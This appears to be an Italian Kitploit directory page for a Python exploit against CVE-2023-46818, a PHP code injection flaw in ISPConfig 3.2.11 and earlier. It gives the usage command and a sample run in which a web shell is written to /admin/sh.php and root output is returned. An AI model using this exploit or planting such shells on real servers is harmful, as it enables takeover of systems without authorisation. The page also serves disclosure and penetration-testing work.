Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-46818 — CVE-2023-46818 Python3 Exploit per ISPConfig <= 3.2.11 (language_edit.php) Vulnerabilità di Iniezione di Codice PHP | Kitploit
Strumenti/GitHubGitHub/ajdumanhug/cve-2023-46818
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubajdumanhug/cve-2023-46818

CVE-2023-46818

CVE-2023-46818 Python3 Exploit per ISPConfig <= 3.2.11 (language_edit.php) Vulnerabilità di Iniezione di Codice PHP

Vedi Repository
1521 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-46818 Python Exploit

🔥 Descrizione

Questo script di exploit Python prende di mira una vulnerabilità di sicurezza nel parametro POST records di ISPConfig verso /admin/language_edit.php, che non è adeguatamente sanificato. Ciò consente a un amministratore autenticato di iniettare ed eseguire codice PHP arbitrario.

⚠️ Versioni Affette

Versione 3.2.11 e versioni precedenti.

⚙️ Utilizzo

root@kitploit:~
python3 CVE-2023-46818.py <URL> <Username> <Password>

💻 Esecuzione di esempio

root@kitploit:~
┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell#

ℹ️ Riferimento

https://seclists.org/fulldisclosure/2023/Dec/2

❤️ Crediti

Un ringraziamento a Egidio Romano per questa scoperta.

Scarica lo strumento